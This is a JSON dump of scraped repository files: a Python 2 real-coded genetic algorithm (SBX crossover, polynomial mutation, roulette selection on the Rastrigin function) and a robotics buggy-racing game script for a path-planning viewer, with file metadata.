pygame.display.flip()\r\npygame.quit()"
},
{
"alpha_fraction": 0.7704917788505554,
"alphanum_fraction": 0.7704917788505554,
"avg_line_length": 60,
"blob_id": "68a6f23ab9c98e8f50704ddc11105f91c5327fce",
"content_id": "00c57ee4786efbe321826bb643b4ad772bdb2e5e",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Markdown",
"length_bytes": 122,
"license_type": "no_license",
"max_line_length": 109,
"num_lines": 2,
"path": "/README.md",
"repo_name": "greyfrog/StopTimer",
"src_encoding": "UTF-8",
"text": "# StopTimer\nStop Timer is a app was created by python, you can set up a timer in format min:sec and press start to launch\n"
}
] | 2 |
guojun007/real_sga | https://github.com/guojun007/real_sga | cc39c87bd98528e3afe4964edcb9907e3e88918b | 9c2cda222e61169fc828a94c2703ae99474d2e41 | adce9c7dbd4b94528daeaec21be88f3c37f8939a | refs/heads/master | 2021-01-22T02:24:36.068373 | 2017-02-06T05:04:05 | 2017-02-06T05:04:05 | 81,049,347 | 15 | 6 | null | null | null | null | null | [
{
"alpha_fraction": 0.6168224215507507,
"alphanum_fraction": 0.6339563727378845,
"avg_line_length": 22.740739822387695,
"blob_id": "2095a6c4ce110ec82144fb30aa901fd4a6823515",
"content_id": "affe0f89b91acad46cf0d23216efc11b40d1ccac",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 664,
"license_type": "no_license",
"max_line_length": 67,
"num_lines": 27,
"path": "/population_init/population_init.py",
"repo_name": "guojun007/real_sga",
"src_encoding": "UTF-8",
"text": "#!/usr/bin/env python\n#encoding:UTF-8\nimport random\n\n#种群初始化函数\ndef population_init(population, N, V, minRealVal, maxRealVal):\n del population[:]\n\n rangeRealVal=[maxRealVal[i]-minRealVal[i] for i in xrange(V)]\n\n for i in xrange(N):\n tempIndividual=[]\n for j in xrange(V):\n temp=random.uniform(0, 1)*rangeRealVal[j]+minRealVal[j]\n tempIndividual.append(temp)\n population.append(tempIndividual)\n\n\n#测试代码\nif __name__==\"__main__\":\n population=[]\n N=200\n V=2\n minRealVal=(-5, -5)\n maxRealVal=(5, 5)\n population_init(population, N, V, minRealVal, maxRealVal)\n print population\n\n"
},
{
"alpha_fraction": 0.6702702641487122,
"alphanum_fraction": 0.6756756901741028,
"avg_line_length": 22,
"blob_id": "c5b8c5e68bc0328c280bff95398c41f672f90226",
"content_id": "06b65aa4fe4787bfe80cc497e8faf04d4161ffdf",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 185,
"license_type": "no_license",
"max_line_length": 35,
"num_lines": 8,
"path": "/function/eval_fun.py",
"repo_name": "guojun007/real_sga",
"src_encoding": "UTF-8",
"text": "#!/usr/bin/env python\n#encoding:UTF-8\nfrom object_fun import object_fun\n\ndef eval_fun(population, xReal):\n del xReal[:]\n for i in population:\n xReal.append(object_fun(i))\n\n"
},
{
"alpha_fraction": 0.5154867172241211,
"alphanum_fraction": 0.5907079577445984,
"avg_line_length": 18.65217399597168,
"blob_id": "20dd74fcd0656f92549bb42adc8cd490b96fd000",
"content_id": "d8d1da8afbe9f97b4a6227fde3d63d81ba4b565c",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 520,
"license_type": "no_license",
"max_line_length": 90,
"num_lines": 23,
"path": "/function/object_fun.py",
"repo_name": "guojun007/real_sga",
"src_encoding": "UTF-8",
"text": "#!/usr/bin/env python\n#encoding:UTF-8\n\n#对偶问题, 转化为求最大值\n#二维 Rastrigin测试函数\ndef object_fun(p):\n import math\n x=p[0]\n y=p[1]\n object_value=20.0+x**2+y**2-10.0*(math.cos(2*math.pi*x)+math.cos(2*math.pi*y))\n return 100.0-object_value\n\n\"\"\"\n#求最大值,无需转化\n#二维 Schaffer测试函数\ndef object_fun(p):\n import math\n x=p[0]\n y=p[1]\n\n object_value =0.5-((math.sin( math.sqrt(x**2+y**2) ))**2-0.5)/(1+0.001*(x**2+y**2))**2\n return object_value\n\"\"\"\n"
},
{
"alpha_fraction": 0.4260707497596741,
"alphanum_fraction": 0.48081937432289124,
"avg_line_length": 29.86206817626953,
"blob_id": "f97569d38035c1e4c089792b506ef05f473b4483",
"content_id": "ec5c80b23562d93dc60497205ea95a3321f18d3f",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 2913,
"license_type": "no_license",
"max_line_length": 73,
"num_lines": 87,
"path": "/crossover/crossover.py",
"repo_name": "guojun007/real_sga",
"src_encoding": "UTF-8",
"text": "#!/usr/bin/env python\n#encoding:UTF-8\nimport random\n\n#实数编码,SBX交叉\ndef crossover(population, pcross_real, V, minRealVal, maxRealVal, eta_c):\n for i in xrange(0, len(population), 2):\n #如果随机概率大于交叉概率则不进行交叉操作\n if random.random()>pcross_real:\n continue\n\n #对两个个体执行SBX交叉操作 \n for j in xrange(V):\n #对某自变量交叉\n ylow=minRealVal[j]\n yup=maxRealVal[j]\n y1=population[i][j]\n y2=population[i+1][j]\n r=random.random()\n if r<=0.5:\n betaq=(2*r)**(1.0/(eta_c+1.0))\n else:\n betaq=(0.5/(1.0-r))**(1.0/(eta_c+1.0))\n\n child1=0.5*( (1+betaq)*y1+(1-betaq)*y2 )\n child2=0.5*( (1-betaq)*y1+(1+betaq)*y2 )\n child1=min(max(child1, ylow), yup)\n child2=min(max(child2, ylow), yup)\n\n population[i][j]=child1\n population[i+1][j]=child2\n\n\"\"\"\n#实数编码,SBX交叉\ndef crossover(population, pcross_real, V, minRealVal, maxRealVal, eta_c):\n for i in xrange(0, len(population), 2):\n #如果随机概率大于交叉概率则不进行交叉操作\n if random.random()>pcross_real:\n continue\n\n #对两个个体执行SBX交叉操作 \n for j in xrange(V):\n #判断是否对某自变量交叉\n if random.random()>0.5:\n continue\n #如果两个体某自变量相等则不操作\n if population[i][j]==population[i+1][j]:\n continue\n\n #对某自变量交叉\n y1=min(population[i][j], population[i+1][j])\n y2=max(population[i][j], population[i+1][j])\n ylow=minRealVal[j]\n yup=maxRealVal[j]\n r=random.random()\n\n beta=1.0+(2.0*(y1-ylow)/(y2-y1))\n alpha=2.0-beta**( -(eta_c+1.0) )\n if r<=(1.0/alpha):\n betaq=(r*alpha)**(1.0/(eta_c+1.0))\n else:\n betaq=(1.0/(2.0-r*alpha))**(1.0/(eta_c+1.0))\n child1=0.5*( (y1+y2)-betaq*(y2-y1) )\n \n beta=1.0+(2.0*(yup-y2)/(y2-y1))\n alpha=2.0-beta**( -(eta_c+1.0) )\n if r<=(1.0/alpha):\n betaq=(r*alpha)**(1.0/(eta_c+1.0))\n else:\n betaq=(1.0/(2.0-r*alpha))**(1.0/(eta_c+1.0))\n child2=0.5*( (y1+y2)-betaq*(y2-y1) )\n \n child1=min(max(child1, ylow), yup)\n child2=min(max(child2, ylow), yup)\n\n population[i][j]=child1\n population[i+1][j]=child2\n\"\"\"\nif __name__==\"__main__\":\n population=[[1.1, 2.2], [3.3, 4.4], [1.2, 2.3], [3.4, 4.5]] \n pcross_real=1.0\n V=2\n minRealVal=(-5, -5)\n maxRealVal=(5, 5)\n eta_c=1.0\n crossover(population, pcross_real, V, minRealVal, maxRealVal, eta_c)\n print population\n"
},
{
"alpha_fraction": 0.6589303612709045,
"alphanum_fraction": 0.6851664781570435,
"avg_line_length": 22.571428298950195,
"blob_id": "5763aa6e703c7ccf16a58aaf924e23b24a4c8de5",
"content_id": "2a414f324e80247b83771cc2a016acf712462348",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1005,
"license_type": "no_license",
"max_line_length": 76,
"num_lines": 42,
"path": "/sga.py",
"repo_name": "guojun007/real_sga",
"src_encoding": "UTF-8",
"text": "#!/usr/bin/env python\n#encoding:UTF-8\nimport random\nfrom population_init.population_init import population_init\nfrom function.eval_fun import eval_fun\nfrom selection.selection import selection\nfrom crossover.crossover import crossover\nfrom mutation.mutation import mutation\n\nN=200\nV=2\nminRealVal=(-5, -5)\nmaxRealVal=(5, 5)\npopulation=[]\npcross_real=0.9\npmut_real=0.01\neta_c=1\neta_m=1\n\n#目标函数值列表\nxReal=[]\n\ndef per_run():\n population_init(population, N, V, minRealVal, maxRealVal)\n\n for i in xrange(200):\n eval_fun(population, xReal)\n\n selection(population, xReal)\n crossover(population, pcross_real, V, minRealVal, maxRealVal, eta_c)\n mutation(population, pmut_real, V, minRealVal, maxRealVal, eta_m)\n\n eval_fun(population, xReal)\n return 100.0-max(xReal)\n\nif __name__==\"__main__\":\n score_list=[]\n for i in xrange(100):\n temp=per_run()\n score_list.append(temp)\n print i, \" : \", temp\n print sum(score_list)/len(score_list)\n\n"
},
{
"alpha_fraction": 0.7983193397521973,
"alphanum_fraction": 0.8151260614395142,
"avg_line_length": 13.875,
"blob_id": "ed2d5b517c9a1ef6e6cfbe64875782bdc183d14b",
"content_id": "fa6c29898c2368a33dbd6f90af8e4648197cb57e",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Markdown",
"length_bytes": 301,
"license_type": "no_license",
"max_line_length": 38,
"num_lines": 8,
"path": "/README.md",
"repo_name": "guojun007/real_sga",
"src_encoding": "UTF-8",
"text": "本项目是个人学习遗传算法参照官方C语言版本进行python2.7语言重构的。\n\n标准遗传算法(简单遗传算法): \n其中个体编码采用实数编码。 \n\n选择操作为轮盘赌选择方式。 \n交叉操作为模拟二进制交叉(SBX)。\n变异操作为多项式变异。\n"
},
{
"alpha_fraction": 0.41160470247268677,
"alphanum_fraction": 0.45058929920196533,
"avg_line_length": 34.51612854003906,
"blob_id": "79ef43050004b71a69118b09cb7837767569eb58",
"content_id": "df22375855ad8047fa518fb006058e9685fe3f39",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1147,
"license_type": "no_license",
"max_line_length": 70,
"num_lines": 31,
"path": "/mutation/mutation.py",
"repo_name": "guojun007/real_sga",
"src_encoding": "UTF-8",
"text": "#!/usr/bin/env python\n#encoding:UTF-8\nimport random\n#Routine for real polynomial mutation of an individual\n#实数编码的常规多项式变异\n\ndef mutation(population, pmut_real, V, minRealVal, maxRealVal, eta_m):\n for i in xrange(len(population)):\n for j in xrange(V):\n r=random.random()\n #对个体某变量进行变异\n if r<=pmut_real:\n y=population[i][j]\n ylow=minRealVal[j]\n yup=maxRealVal[j]\n delta1=1.0*(y-ylow)/(yup-ylow)\n delta2=1.0*(yup-y)/(yup-ylow)\n #delta=min(delta1, delta2)\n r=random.random()\n mut_pow=1.0/(eta_m+1.0)\n if r<=0.5:\n xy=1.0-delta1\n val=2.0*r+(1.0-2.0*r)*(xy**(eta_m+1.0))\n deltaq=val**mut_pow-1.0\n else:\n xy=1.0-delta2\n val=2.0*(1.0-r)+2.0*(r-0.5)*(xy**(eta_m+1.0))\n deltaq=1.0-val**mut_pow\n y=y+deltaq*(yup-ylow)\n y=min(yup, max(y, ylow))\n population[i][j]=y\n\n\n"
},
{
"alpha_fraction": 0.5081967115402222,
"alphanum_fraction": 0.5426229238510132,
"avg_line_length": 19.299999237060547,
"blob_id": "151295c5112017628fdfab9f5d4ed05df42af6fe",
"content_id": "a86e8a8a872933fd3e52461061bb8e38d5e28d29",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 622,
"license_type": "no_license",
"max_line_length": 50,
"num_lines": 30,
"path": "/selection/selection.py",
"repo_name": "guojun007/real_sga",
"src_encoding": "UTF-8",
"text": "#!/usr/bin/env python\n#encoding:UTF-8\nimport copy\nimport random\n#轮盘赌选择法\ndef selection(population, xReal):\n s=sum(xReal)\n temp=[k*1.0/s for k in xReal]\n temp2=[]\n\n s2=0\n for k in temp:\n s2=s2+k\n temp2.append(s2)\n\n temp3=[]\n for _ in xrange(len(population)):\n r=random.random()\n for i in xrange(len(temp2)):\n if r<=temp2[i]:\n temp3.append(i)\n break\n\n temp4=[]\n temp5=[]\n for i in temp3:\n temp4.append(copy.deepcopy(population[i]))\n temp5.append(xReal[i])\n population[:]=temp4\n xReal[:]=temp5\n\n"
}
] | 8 |
zpalmerx/movie-trailer-website_1 | https://github.com/zpalmerx/movie-trailer-website_1 | 6959fce884139884bd531cf84b696cad1e99a1d6 | 4bc5c641b784fc50475c6e03fd8c96a3b8957a0c | 9f360d394e291cd3cf766cd5799b6a4bd68a6a3e | refs/heads/master | 2016-09-06T04:38:17.607841 | 2015-04-07T02:32:01 | 2015-04-07T02:32:01 | 33,517,638 | 0 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.6616161465644836,
"alphanum_fraction": 0.6616161465644836,
"avg_line_length": 42.77777862548828,
"blob_id": "fa9fc5ebbd9a324f8ad3e5a727a7a540f8442fda",
"content_id": "c8a82b9afed868765b589951584553ab767ba19b",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 396,
"license_type": "no_license",
"max_line_length": 81,
"num_lines": 9,
"path": "/media.py",
"repo_name": "zpalmerx/movie-trailer-website_1",
"src_encoding": "UTF-8",
"text": "\n# Create Class Movie\nclass Movie():\n # create and return moving object containing:\n # title, storyline, image, and trailer\n def __init__(self,movie_title,movie_storyline,poster_image,trailer_youtube):\n self.title = movie_title\n self.storyline = movie_storyline\n self.poster_image_url = poster_image\n self.trailer_youtube_url = trailer_youtube\n\n"
},
{
"alpha_fraction": 0.8301886916160583,
"alphanum_fraction": 0.8317610025405884,
"avg_line_length": 210.3333282470703,
"blob_id": "0c14dee7a7e4625a816d47e3fbc122d867c5a7ab",
"content_id": "c11d4f25759289f762492d758ee575fd4808d976",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Text",
"length_bytes": 636,
"license_type": "no_license",
"max_line_length": 326,
"num_lines": 3,
"path": "/readme.txt",
"repo_name": "zpalmerx/movie-trailer-website_1",
"src_encoding": "UTF-8",
"text": "\nThe various componenets in this collection are intended to be located in the same folder location together. From a command-line session go to the directory inito which you have saved all components. Then run the 'entertainment_center.py' app by issuing the following comand: python entertainment_center.py\n\nThese components were composed to satisfy the requirements for project1 of the udacity full-stack developer nanodegree program. All links to external sites and resources are included purely for demonstration purposes only and this developer makes no claims or representations regarding the materials to which those links lead.\n\n"
},
{
"alpha_fraction": 0.7683120965957642,
"alphanum_fraction": 0.7858280539512634,
"avg_line_length": 95.46154022216797,
"blob_id": "ea60a22f16ad3b16bfaf324501c4a1f39f3fdf80",
"content_id": "01957432911ebd8a1ed2a1f3ef7ec589e9030267",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1256,
"license_type": "no_license",
"max_line_length": 262,
"num_lines": 13,
"path": "/entertainment_center.py",
"repo_name": "zpalmerx/movie-trailer-website_1",
"src_encoding": "UTF-8",
"text": "\n# import the media module\nimport media\n# import the fresh_tomatoes module\nimport fresh_tomatoes\n# Assign instances of media.Movie to variable names \nexcalibur = media.Movie('Excalibur','One Sword One Land One King','http://upload.wikimedia.org/wikipedia/en/6/60/Excalibur_movie_poster.jpg','http://youtu.be/emF-m9qnF5o')\nmeaningoflife = media.Movie('Meaning_of_Life','Everything you always wanted to know about life but were afraid to ask','https://upload.wikimedia.org/wikipedia/en/thumb/9/91/Meaningoflife.jpg/220px-Meaningoflife.jpg','https://www.youtube.com/watch?v=LH8aTeouR4Y')\nmars_attacks = media.Movie('Mars_Attacks','One Small Step For Martian, One Giant issue for Man','https://upload.wikimedia.org/wikipedia/en/thumb/b/bd/Mars_attacks_ver1.jpg/220px-Mars_attacks_ver1.jpg','https://youtu.be/VYHeZCEFwhI')\nghostbusters = media.Movie('Ghostbusters','Who ya gonna call?','https://upload.wikimedia.org/wikipedia/en/thumb/c/c7/Ghostbusters_cover.png/220px-Ghostbusters_cover.png','https://youtu.be/vntAEVjPBzQ')\n# Create List of Movies to be iterated by fresh_tomatoes module\nmovies = [excalibur,meaningoflife,mars_attacks,ghostbusters]\n# launch the fresh_tomatoes module with the movies list created above\nfresh_tomatoes.open_movies_page(movies)\n\n"
}
] | 3 |
humanoid-path-planner/hpp-environments | https://github.com/humanoid-path-planner/hpp-environments | 452bbf0795faae416fc21cd90ae2cc6ae333881e | afeb1532c424959c642cf97707af9d17ab1e735a | f48019efb13343e8e6da4234d53b009c101dea7e | refs/heads/master | 2023-08-07T19:37:37.922873 | 2023-01-18T13:46:12 | 2023-01-18T13:46:12 | 59,783,033 | 1 | 9 | null | 2016-05-26T21:00:16 | 2021-10-06T13:40:19 | 2023-01-23T18:27:42 | CMake | [
{
"alpha_fraction": 0.5617116689682007,
"alphanum_fraction": 0.5792078971862793,
"avg_line_length": 31.696229934692383,
"blob_id": "6ddf401fbdceabc39385bd60f0b82c5e729f8c87",
"content_id": "2654b150f73fb52fd664f9aa5660ff9b5c316751",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 14746,
"license_type": "no_license",
"max_line_length": 87,
"num_lines": 451,
"path": "/examples/buggy_game.py",
"repo_name": "humanoid-path-planner/hpp-environments",
"src_encoding": "UTF-8",
"text": "import math\nimport random\nimport sys\nfrom threading import Thread, Lock\nimport time\n\nfrom PythonQt.QtGui import (\n mainWindow,\n QDockWidget,\n QHBoxLayout,\n QLabel,\n QPushButton,\n QWidget,\n)\nfrom PythonQt import QtCore\n\nfrom gepetto.corbaserver import Client as ViewerClient\nfrom hpp.corbaserver import ProblemSolver\nfrom hpp.environments import Buggy\nfrom hpp.gepetto import ViewerFactory\n\n\nlockDisplay = Lock()\nlockProblem = Lock()\ndisplayed = True\nrunTime = 180000\nfps = 24\n\n\nclass IAThread(Thread):\n ir_ = None\n initConfig_ = None\n\n def __init__(self, iaRobot):\n Thread.__init__(self)\n self.ir_ = iaRobot\n with lockProblem:\n iaRobot.client.problem.selectProblem(\"default\")\n iaRobot.client.problem.selectSteeringMethod(\"ReedsShepp\")\n self.initConfig_ = iaRobot.client.robot.getCurrentConfig()\n iaRobot.client.robot.setJointBounds(\"base_joint_xy\", [0, 16, -4, 4])\n iaRobot.client.problem.setInitialConfig(self.initConfig_)\n iaRobot.client.problem.addGoalConfig([10.0, 0.0, 1.0, 0.0, 0.0, 0.0])\n\n def run(self):\n global displayed\n while (\n gameWidget.remainTime.minute() != 0 or gameWidget.remainTime.second() != 0\n ):\n with lockDisplay, lockProblem:\n iaRobot.client.problem.selectProblem(\"default\")\n value = random.randint(0, 1)\n if value == 0 or gameWidget.lastPath_ == -1:\n self.ir_.client.problem.clearPathOptimizers()\n self.ir_.client.problem.resetRoadmap()\n self.ir_.client.problem.solve()\n elif value == 1:\n if gameWidget.lastPath_ == 0:\n optimize = 0\n else:\n optimize = random.randint(0, gameWidget.lastPath_)\n self.ir_.client.problem.addPathOptimizer(\"RandomShortcut\")\n self.ir_.client.problem.optimizePath(optimize)\n displayed = False\n time.sleep(2)\n\n\nclass Car:\n def setMove(self, direction):\n pass\n\n def turn(self, angle):\n pass\n\n def update(self, direction):\n pass\n\n def reset(self):\n pass\n\n def check(self, xPosition, yPosition):\n pass\n\n\nclass PlayerCar(Car):\n def __init__(self, playerRobot):\n self.speed = 1.25\n self.angleWheel = 0.0\n self.angleCar = 0.0\n self.angleCarSave = 0.0\n self.rightIndex = playerRobot.rankInConfiguration[\"wheel_frontright_joint\"]\n self.leftIndex = playerRobot.rankInConfiguration[\"wheel_frontleft_joint\"]\n self.limit = playerRobot.client.robot.getJointBounds(\"wheel_frontleft_joint\")\n self.pr = playerRobot\n self.position = playerRobot.client.robot.getCurrentConfig()\n self.pr.client.problem.selectProblem(\"player\")\n self.pr.client.problem.setInitialConfig(self.position)\n\n def move(self, direction):\n newP = self.position[::]\n speed = self.speed / fps * direction\n self.angleCarSave = self.angleCar\n self.angleCar += self.angleWheel * speed\n newP[2] = math.cos(self.angleCar)\n newP[3] = math.sin(self.angleCar)\n newP[0] = newP[0] + newP[2] * speed\n newP[1] = newP[1] + newP[3] * speed\n return newP\n\n def turn(self, angle):\n with lockProblem:\n self.pr.client.problem.selectProblem(\"player\")\n pos = self.position\n if angle < 2:\n pos[self.rightIndex] = self.limit[angle]\n pos[self.leftIndex] = self.limit[angle]\n else:\n pos[self.rightIndex] = 0\n pos[self.leftIndex] = 0\n if self.pr.client.robot.isConfigValid(pos)[0]:\n self.position = pos[::]\n pv(self.position)\n self.angleWheel = self.limit[angle] if (angle < 2) else 0\n\n def update(self, direction):\n with lockProblem:\n self.pr.client.problem.selectProblem(\"player\")\n newP = self.position[::]\n if direction != 0:\n newP = self.move(direction)\n if self.pr.client.robot.isConfigValid(newP)[0]:\n self.position = newP[::]\n pv(self.position)\n else:\n self.angleCar = self.angleCarSave\n\n def reset(self):\n with lockProblem:\n self.angleWheel = 0\n self.angleCar = 0\n self.pr.client.problem.selectProblem(\"player\")\n self.position = self.pr.client.problem.getInitialConfig()\n pv(self.position)\n\n def check(self, xLimit, yLimit):\n return (\n True\n if (\n xLimit[0] <= self.position[0]\n and yLimit[0] <= self.position[1] <= yLimit[1]\n )\n else False\n )\n\n\nclass IACar(Car):\n def __init__(self, iaRobot):\n self.maxLength = -1.0\n self.currentLength = 0.0\n self.speed = 1.25\n self.ir = iaRobot\n self.hasLock = False\n\n def move(self, direction):\n return\n\n def turn(self, angle):\n return\n\n def update(self, direction):\n global displayed\n if not displayed:\n if not self.hasLock:\n if not lockDisplay.acquire(False):\n return\n self.hasLock = True\n with lockProblem:\n self.ir.client.problem.selectProblem(\"default\")\n length = 0\n if self.maxLength == -1.0:\n gameWidget.lastPath_ += 1\n self.maxLength = self.ir.client.problem.pathLength(\n gameWidget.lastPath_\n )\n if self.currentLength + self.speed > self.maxLength:\n self.currentLength = 0\n self.maxLength = -1.0\n length = self.maxLength\n lockDisplay.release()\n displayed = True\n print(\"AAAAAAAAA\")\n else:\n self.currentLength += self.speed / fps\n length = self.currentLength\n gameWidget.iaCurrentTime = gameWidget.iaCurrentTime.addMSecs(\n 1.0 / fps * 1000\n )\n config = self.ir.client.problem.configAtParam(\n gameWidget.lastPath_, length\n )\n self.position = config[::]\n iv(config)\n\n def check(self, xLimit, yLimit):\n return (\n True\n if (\n xLimit[0] <= self.position[0]\n and yLimit[0] <= self.position[1] <= yLimit[1]\n )\n else False\n )\n\n def reset(self):\n global displayed\n with lockProblem:\n self.maxLength = -1.0\n self.currentLength = 0\n self.ir.client.problem.selectProblem(\"default\")\n self.position = self.ir.client.problem.getInitialConfig()\n self.hasLock = False\n iv(self.position)\n lockDisplay.release()\n displayed = True\n\n\nclass GameWidget(QDockWidget):\n player = None\n ia = None\n moveDirection_ = 0\n\n labelOG = None\n igWidget = None\n ogWidget = None\n labelRemain = None\n labelIA = None\n labelBest = None\n labelCurrent = None\n\n iaTime = None\n iaCurrentTime = None\n remainTime = None\n currentTime = None\n bestTime = None\n\n runLaunched = False\n currentLength_ = 0.0\n maxLength_ = -1.0\n lastPath_ = -1\n\n def __init__(self, mainWindow, iaRobot, playerRobot):\n super(GameWidget, self).__init__(\"Buggy game\", mainWindow)\n self.player = PlayerCar(playerRobot)\n self.ia = IACar(iaRobot)\n self.createOGWidget()\n self.createIGWidget()\n self.createWidget()\n\n def createOGWidget(self):\n self.ogWidget = QWidget()\n ogLayout = QHBoxLayout()\n self.labelOG_ = QLabel(\n \"Press start button to launch the game. (You play on the right side)\"\n )\n ogLayout.addWidget(self.labelOG_)\n self.ogWidget.setLayout(ogLayout)\n\n def createIGWidget(self):\n self.igWidget = QWidget()\n igLayout = QHBoxLayout()\n self.labelRemain = QLabel(\"\", self.igWidget)\n self.labelIA = QLabel(\"\", self.igWidget)\n self.labelBest = QLabel(\"\", self.igWidget)\n self.labelCurrent = QLabel(\"\", self.igWidget)\n igLayout.addWidget(self.labelRemain)\n igLayout.addWidget(self.labelIA)\n igLayout.addWidget(self.labelBest)\n igLayout.addWidget(self.labelCurrent)\n self.igWidget.setLayout(igLayout)\n self.igWidget.setVisible(False)\n\n def createWidget(self):\n widget = QWidget()\n layout = QHBoxLayout()\n self.button = QPushButton(widget)\n self.button.setText(\"Start !\")\n self.button.setMaximumWidth(150)\n self.button.connect(\"clicked()\", launch)\n layout.addWidget(self.button)\n widget.setLayout(layout)\n layout.addWidget(self.ogWidget)\n layout.addWidget(self.igWidget)\n self.setWidget(widget)\n self.setFocusPolicy(2)\n\n def keyPressEvent(self, event):\n if event.key() == 0x01000012:\n self.runLaunched = True\n self.player.turn(1)\n elif event.key() == 0x01000014:\n self.runLaunched = True\n self.player.turn(0)\n elif event.key() == 0x01000013:\n self.runLaunched = True\n self.moveDirection_ = 1\n elif event.key() == 0x01000015:\n self.runLaunched = True\n self.moveDirection_ = -1\n elif event.key() == 0x20:\n self.runLaunched = False\n self.player.reset()\n self.currentTime = QtCore.QTimer(0, 0)\n\n def keyReleaseEvent(self, event):\n if event.key() == 0x01000012 or event.key() == 0x01000014:\n self.player.turn(2)\n if event.key() == 0x01000013 or event.key() == 0x01000015:\n self.moveDirection_ = 0\n\n def update(self):\n self.player.update(self.moveDirection_)\n self.ia.update(0)\n self.remainTime = self.remainTime.addMSecs(-1.0 / fps * 1000)\n self.labelRemain.setText(\"Time remain : \" + self.remainTime.toString(\"mm:ss\"))\n if self.player.check([9.0, 9.0], [-4, 4]):\n self.runLaunched = False\n if self.currentTime < self.bestTime:\n self.bestTime = self.currentTime.addMSecs(0)\n self.labelBest.setText(\n \"Your best : \" + self.bestTime.toString(\"mm:ss:zz\")\n )\n self.currentTime = QtCore.QTime(0, 0)\n self.player.reset()\n if not displayed and self.ia.check([9.0, 9.0], [-4, 4]):\n print(self.iaCurrentTime)\n print(self.iaTime)\n print(self.iaCurrentTime < self.iaTime)\n print()\n if self.iaCurrentTime < self.iaTime:\n self.iaTime = self.iaCurrentTime.addMSecs(0)\n self.labelIA.setText(\"IA's time : \" + self.iaTime.toString(\"mm:ss:zz\"))\n self.iaCurrentTime = QtCore.QTime(0, 0)\n self.ia.reset()\n if self.runLaunched:\n self.currentTime = self.currentTime.addMSecs(1.0 / fps * 1000)\n self.labelCurrent.setText(\n \"Current run : \" + self.currentTime.toString(\"mm:ss:zz\")\n )\n\n def start(self):\n self.iaTime = QtCore.QTime(0, (runTime / 1000) / 60)\n self.iaCurrentTime = QtCore.QTime(0, 0)\n self.remainTime = QtCore.QTime(0, (runTime / 1000) / 60)\n self.currentTime = QtCore.QTime(0, 0)\n self.bestTime = QtCore.QTime(0, (runTime / 1000) / 60)\n self.labelRemain.setText(\"Time remain : \" + self.remainTime.toString(\"mm:ss\"))\n self.labelIA.setText(\"IA's time : --:--:--\")\n self.labelBest.setText(\"Your best : --:--:--\")\n self.labelCurrent.setText(\n \"Current run : \" + self.currentTime.toString(\"mm:ss:zz\")\n )\n self.button.disconnect(\"clicked()\", launch)\n self.button.setText(\"Stop !\")\n self.button.connect(\"clicked()\", end)\n\n def end(self):\n if self.iaTime > self.bestTime:\n self.labelOG_.setText(\n \"Congratulations, you won with a \"\n + self.bestTime.toString(\"mm:ss:zz\")\n + \" seconds time !\"\n )\n elif self.iaTime < self.bestTime:\n self.labelOG_.setText(\n \"Maybe next time, IA won with a \"\n + self.iaTime.toString(\"mm:ss:zz\")\n + \" seconds time !\"\n )\n else:\n self.labelOG_.setText(\"It's a tie !\")\n updateTimer.stop()\n self.igWidget.setVisible(False)\n self.ogWidget.setVisible(True)\n self.button.disconnect(\"clicked()\", end)\n self.button.setText(\"Start !\")\n self.button.connect(\"clicked()\", launch)\n\n\ndef play():\n gameWidget.update()\n\n\ndef end():\n gameWidget.end()\n\n\nsys.argv = []\ngui = ViewerClient()\n\ngui.gui.createWindow(\"ia\")\ngui.gui.createWindow(\"player\")\niaRobot = Buggy(\"buggy_ia\")\nips = ProblemSolver(iaRobot)\nivf = ViewerFactory(ips)\nivf.loadObstacleModel(\"hpp_environments\", \"scene\", \"scene_ia\")\niv = ivf.createViewer(viewerClient=gui)\n\niaRobot.client.problem.selectProblem(\"player\")\nplayerRobot = Buggy(\"buggy_player\")\npps = ProblemSolver(playerRobot)\npvf = ViewerFactory(pps)\npvf.loadObstacleModel(\"hpp_environments\", \"scene\", \"scene_player\")\npvf(playerRobot.client.robot.getCurrentConfig())\npv = pvf.createViewer(viewerClient=gui)\ngui.gui.addSceneToWindow(\"buggy_player\", 1)\ngui.gui.addSceneToWindow(\"scene_player\", 1)\ngui.gui.addSceneToWindow(\"buggy_ia\", 0)\ngui.gui.addSceneToWindow(\"scene_ia\", 0)\n\n# To launch the game\ngameTimer = QtCore.QTimer()\ngameTimer.setInterval(runTime)\ngameTimer.connect(\"timeout()\", end)\nupdateTimer = QtCore.QTimer()\nupdateTimer.setInterval(1.0 / fps * 1000)\nupdateTimer.connect(\"timeout()\", play)\n\n\ndef launch():\n print(\"launched\")\n t = IAThread(iaRobot)\n updateTimer.setParent(gameWidget)\n updateTimer.start()\n gameTimer.start()\n gui.gui.attachCameraToNode(\"buggy_player\", 1)\n gameWidget.setFocus(True)\n gameWidget.start()\n t.start()\n gameWidget.ogWidget.setVisible(False)\n gameWidget.igWidget.setVisible(True)\n\n\n# Create widget for the game\ngameWidget = GameWidget(mainWindow, iaRobot, playerRobot)\nmainWindow.addDockWidget(4, gameWidget)\n\nmainWindow.refresh()\nmainWindow.requestApplyCurrentConfiguration()\niaRobot.client.problem.selectProblem(\"default\")\nmainWindow.refresh()\nmainWindow.requestApplyCurrentConfiguration()\n"
},
{
"alpha_fraction": 0.7582278251647949,
"alphanum_fraction": 0.7645569443702698,
"avg_line_length": 51.66666793823242,
"blob_id": "92ee6bd57836754d4f8e3d6b2ed5e4b31dd9bf5f",
"content_id": "a2eebb27cf1fce80d1200c4440dd9447a54db779",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
